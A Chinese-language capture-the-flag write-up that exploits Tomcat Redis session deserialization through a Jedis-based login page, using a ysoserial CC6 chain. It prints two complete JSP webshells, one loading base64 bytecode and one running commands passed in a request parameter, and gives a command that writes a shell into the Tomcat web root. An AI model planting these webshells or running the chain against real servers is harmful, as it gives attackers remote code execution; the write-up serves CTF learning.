菜!又被das暴打了
启动环境
题目附件提供了docker环境,直接利用:
一键搭建docker就可以了,如果中间java的docker没有下载好,可以先单独下载下来。
docker启动后就可以访问index.jsp
来到我们的登录页了。
源码怎么说
看了源码发现他的登录逻辑是直接被写死了,只能够通过下面这个账号密码登录:
无论登录成功还是失败,都会调用CacheUtil.setWithExpiry
。看看他是个什么函数:
1 2 3 4 5
| public static void setWithExpiry(byte[] key, byte[] value, int seconds) { try (Jedis jedis = getJedis()) { jedis.setex(key, seconds, value); } }
|
乍一看居然是jedis
。jedis
其实就是redis
的java版本,又由于题目的源码只有一个loginServlet
和一个CacheUtil
,登录成功后往redis写信息,就这么简单的逻辑,哪里有洞呢?
Jedis
现在看来基本上也只能够锁定jedis了。搜一下java redis
漏洞,找到了浅蓝师傅的文章。文章里提到了java反序列化,但是他给出的代码显然和我们题目的写法是有出入的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package cn.b1ue.redis.unserialize;
import redis.clients.jedis.Jedis;
import java.io.*;
public class JDK {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("src/main/java/cn/b1ue/redis/unserialize/beanutils_calc.ser"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer = new byte[128]; int iLength = 0; while((iLength = fileInputStream.read(buffer)) != -1) { baos.write(buffer, 0, iLength); }
byte[] bytes = baos.toByteArray();
Jedis jedis = new Jedis("192.168.91.147", 6379); jedis.set("x".getBytes(),bytes);
byte[] badbyte = jedis.get("x".getBytes());
ByteArrayInputStream stream = new ByteArrayInputStream(badbyte); ObjectInputStream objectInputStream = new ObjectInputStream(stream); Object o = objectInputStream.readObject();
jedis.close();
}
}
|
我们仅仅只调用了setex
,并不能造成上述的反序列化漏洞。那现在我们能做什么呢?线索到这里似乎是断了。
Session反序列化
从Y4er师傅的文章里找到了一点蛛丝马迹:
拓展下攻击面,比如redis,这里@l1nk3r
师傅公开了另一种使用redis的反序列化场景,问题出现在RedisSession
类中,原理和9484差不多,id从jsessionid获取,value是反序列化数据,配合redis任意写入value来触发反序列化。
但是很可惜,l1nk3r
师傅的博客已经关站跑路了,所以没得看具体的细节,只能够看这寥寥数行文字来进行攻击了。
简单地说就是需要通过jsessionid
来获取到我们对应的id(key),这个时候会读取到它具体的value,从而进行反序列化。由于登录的时候会对我们的数据进行base64decode,所以我们可以直接往redis写入任意反序列化数据。
看了一眼lib,发现了一个cc依赖:
想到可以打cc链进去配合session反序列化数据。因为是cc依赖,所以直接用ysoserial生成就可以了。考虑出网的话可以尝试反弹shell,如果不出网的话就打一个jsp马就好了。
尝试cc6+反弹shell。这里要注意一下逻辑,我们往redis写的key是:
1 2
| 如果登录成功: success::username 登录失败: fail::username
|
value是:
简单地说就是往password里写入反序列化数据,然后将jsessionid改成key
的值即可触发session反序列化
现在登录:
必定登录会失败的,因此redis里的key写入的就是fail::Err0r233
将jsession修改一下然后重发,shell就弹过来了。
不出网的时候打一个jsp webshell到web目录就可以了:
web目录一般在:
1
| ${tomcatpath}/webapps/ROOT/
|
jsp webshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } }
public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("Qst"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.InputStreamReader" %>
<%
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(request.getParameter("cmd"));
InputStream inputStream = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line; while ((line = reader.readLine()) != null) { out.println(line + "<br>"); }
%>
|
将其b64加密后,写进cc6的命令里就可以了:
1
| echo "xxx" | base64 -d > /usr/local/tomcat/webapps/ROOT/shell.jsp
|
重复上面的操作即可打jsp webshell进去。